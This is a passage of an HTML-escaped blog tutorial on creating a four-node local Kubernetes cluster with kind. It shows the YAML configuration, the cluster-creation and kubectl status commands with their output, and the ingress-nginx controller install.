originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eextraPortMappings\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith this we've now generated a 4 node cluster where we have a single\ncontrol-plane and three workers.  Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it'll tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind_config.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis time I've added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you didn't destroy the first cluster you'll\nsee we have two of them now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurrent-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e107\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewait\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--for=condition=ready\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eContainerCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCLUSTER-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNodePort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.228.248\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eClusterIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.180.126\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUP-TO-DATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAVAILABLE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: 